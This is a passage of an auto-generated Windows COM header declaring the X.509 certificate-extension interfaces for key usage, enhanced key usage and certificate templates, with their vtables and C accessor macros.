riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionKeyUsage * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ X509KeyUsageFlags UsageFlags);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyUsage )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [retval][out] */ __RPC__out X509KeyUsageFlags *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionKeyUsageVtbl;\n\n    interface IX509ExtensionKeyUsage\n    {\n        CONST_VTBL struct IX509ExtensionKeyUsageVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionKeyUsage_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionKeyUsage_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionKeyUsage_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionKeyUsage_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionKeyUsage_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionKeyUsage_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionKeyUsage_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionKeyUsage_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionKeyUsage_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionKeyUsage_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionKeyUsage_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionKeyUsage_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionKeyUsage_InitializeEncode(This,UsageFlags)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,UsageFlags) ) \n\n#define IX509ExtensionKeyUsage_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionKeyUsage_get_KeyUsage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyUsage(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionKeyUsage_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionEnhancedKeyUsage_INTERFACE_DEFINED__\n#define __IX509ExtensionEnhancedKeyUsage_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionEnhancedKeyUsage */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionEnhancedKeyUsage;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab310-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionEnhancedKeyUsage : public IX509Extension\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IObjectIds *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EnhancedKeyUsage( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionEnhancedKeyUsageVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ __RPC__in_opt IObjectIds *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnhancedKeyUsage )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionEnhancedKeyUsageVtbl;\n\n    interface IX509ExtensionEnhancedKeyUsage\n    {\n        CONST_VTBL struct IX509ExtensionEnhancedKeyUsageVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionEnhancedKeyUsage_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionEnhancedKeyUsage_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionEnhancedKeyUsage_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionEnhancedKeyUsage_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionEnhancedKeyUsage_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionEnhancedKeyUsage_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionEnhancedKeyUsage_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionEnhancedKeyUsage_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionEnhancedKeyUsage_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionEnhancedKeyUsage_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionEnhancedKeyUsage_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionEnhancedKeyUsage_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionEnhancedKeyUsage_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionEnhancedKeyUsage_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionEnhancedKeyUsage_get_EnhancedKeyUsage(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EnhancedKeyUsage(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionEnhancedKeyUsage_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionTemplateName_INTERFACE_DEFINED__\n#define __IX509ExtensionTemplateName_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionTemplateName */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionTemplateName;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab311-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionTemplateName : public IX509Extension\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionTemplateNameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionTemplateName * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionTemplateName * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionTemplateName * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateName )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionTemplateNameVtbl;\n\n    interface IX509ExtensionTemplateName\n    {\n        CONST_VTBL struct IX509ExtensionTemplateNameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionTemplateName_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionTemplateName_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionTemplateName_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionTemplateName_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionTemplateName_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionTemplateName_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionTemplateName_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionTemplateName_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionTemplateName_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionTemplateName_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionTemplateName_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionTemplateName_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionTemplateName_InitializeEncode(This,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,strTemplateName) ) \n\n#define IX509ExtensionTemplateName_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionTemplateName_get_TemplateName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionTemplateName_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionTemplate_INTERFACE_DEFINED__\n#define __IX509ExtensionTemplate_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionTemplate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionTemplate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab312-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionTemplate : public IX509Extension\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IObjectId *pTemplateOid,\n            /* [in] */ LONG MajorVersion,\n            /* [in] */ LONG MinorVersion) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateOid( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_MajorVersion( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_MinorVersion( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionTemplateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionTemplate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionTemplate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionTemplate * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ __RPC__in_opt IObjectId *pTemplateOid,\n            /* [in] */ LONG MajorVersion,\n            /* [in] */ LONG MinorVersion);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateOid )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_MajorVersion )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_MinorVersion )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionTemplateVtbl;\n\n    interface IX509ExtensionTemplate\n    {\n        CONST_VTBL struct IX509ExtensionTemplateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionTemplate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionTemplate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionTemplate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionTemplate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionTemplate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionTemplate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionTemplate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionTemplate_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionTemplate_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionTemplate_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionTemplate_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionTemplate_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionTemplate_InitializeEncode(This,pTemplateOid,MajorVersion,MinorVersion)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pTemplateOid,MajorVersion,MinorVersion) ) \n\n#define IX509ExtensionTemplate_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionTemplate_get_TemplateOid(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateOid(This,ppValue) ) \n\n#define IX509ExtensionTemplate_get_MajorVersion(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MajorVersion(This,pValue) ) \n\n#define IX509ExtensionTemplate_get_MinorVersion(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MinorVersion(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionTemplate_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0019 